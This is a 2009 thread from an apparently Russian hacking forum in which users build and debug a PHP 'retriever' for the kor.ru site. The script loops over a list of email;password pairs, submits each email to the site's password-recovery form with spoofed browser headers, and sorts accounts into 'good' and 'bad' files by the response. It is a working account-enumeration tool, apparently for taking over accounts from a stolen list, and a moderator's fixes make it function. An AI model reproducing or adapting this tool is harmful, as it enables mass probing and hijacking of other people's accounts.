www.kor.ru - Ретривер.

Discussion in 'PHP' started by Велемир, 13 Sep 2009.

Thread Status:
Not open for further replies.
  1. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Всем привет.Пишу тут ретривер для КОРа,но чего-то не выходит восстановить письмо.Непонятно,что за РНР скрипт обрабатывает восстановление пароля.Вот примерный код:

    PHP:

    <?php

    set_time_limit
    (0);

    include 
    "funcs.php";

    $fp fopen("accounts.txt","r");
    $fp1 fopen("good.txt","a+");
    $fp2 fopen("bad.txt","a+");

    while(!
    feof($fp)) {

    $str fgets($fp,1024);
    $str1 explode(";",trim($str));
    $r retpost("http://www.kor.ru/password/recover","email=$str1[0]&submit=Вспомнить");


    if(
    preg_match("|Пароль выслан|",$r)) {

    fwrite($fp1,"$str1[0];$str1[1]\r\n");

    }

    else {

    fwrite($fp2,"$str1[0];$str1[1]\r\n");

    }


    }

    fclose($fp);
    fclose($fp1);
    fclose($fp2);

    ?>

    Мб регулярка и пральная,но записывает в bad.txt.Подозреваю,что это из-за неправильного запроса.Других причин просто не вижу.Кто поможет ?
     
  2. _==wolf==_

    _==wolf==_ Elder - Старейшина

    Joined:
    29 May 2008
    Messages:
    127
    Likes Received:
    38
    Reputations:
    6
    проверь кодировку. и для начала закоменть регулярки и сделай вывод $r, посмори что там
     
  3. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    Ну отсылает нормально правда такого мыла нет, дальше через регулярки и RETURNTRANSFER на 1 переключи.
    PHP:
    <?php
    $ch 
    curl_init('http://www.kor.ru/password/recover');
    curl_setopt($ch,CURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS,'email=b3%40bygaga.com&submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8%D1%82%D1%8C');
    curl_setopt($chCURLOPT_RETURNTRANSFER0);
    curl_setopt($chCURLOPT_REFERER,'http://www.kor.ru/password/recover');
    curl_setopt($chCURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
    curl_setopt($chCURLOPT_COOKIEFILE'./cook');
    curl_setopt($chCURLOPT_COOKIEJAR'./cook');
    curl_exec($ch);
    ?>
     
    _________________________
  4. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    А что за %D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C ?
     
    #4 Велемир, 13 Sep 2009
    Last edited: 13 Sep 2009
  5. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Пробовал так сделать:

    preg_match("|(.*)|",$r,$sam);
    print_r($sam);

    Возвращает еденицу(.returntransfer в 0 и 1 пробовал но бестолку.

    ЗЫ: Пытался спарсить фразу 'Пароль выслан',но регулярки у меня почему-то не работают кроме (.*).Возвращает пустой массив,или кучу пустых элементов.Одно ясно,что результат возвращается,вот а почему элементарный контекстный поиск не работает...
     
    #5 Велемир, 13 Sep 2009
    Last edited: 13 Sep 2009
  6. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    Кнопка =\
    Потому что там UTF-8

    PHP:
    <?php 
    $ch 
    curl_init('http://www.kor.ru/password/recover'); 
    curl_setopt($ch,CURLOPT_POST1); 
    curl_setopt($chCURLOPT_POSTFIELDS,'email=b3%40bygaga.com&submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8%D1%82%D1%8C'); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    curl_setopt($chCURLOPT_REFERER,'http://www.kor.ru/password/recover'); 
    curl_setopt($chCURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3'); 
    $res curl_exec($ch);
    curl_close($ch);
    $txt iconv('Windows-1251','UTF-8','Неверный адрес'); 
    if(
    preg_match("#$txt#",$res))
    echo 
    'Неверный адрес ага';
    ?>
    ЗЫ пробелы убереш в :
    submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8%D1%82%D1%8C
     
    _________________________
    1 person likes this.
  7. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Пасип,тему мона клоцать:)Всё работает:)
     
Thread Status:
Not open for further replies.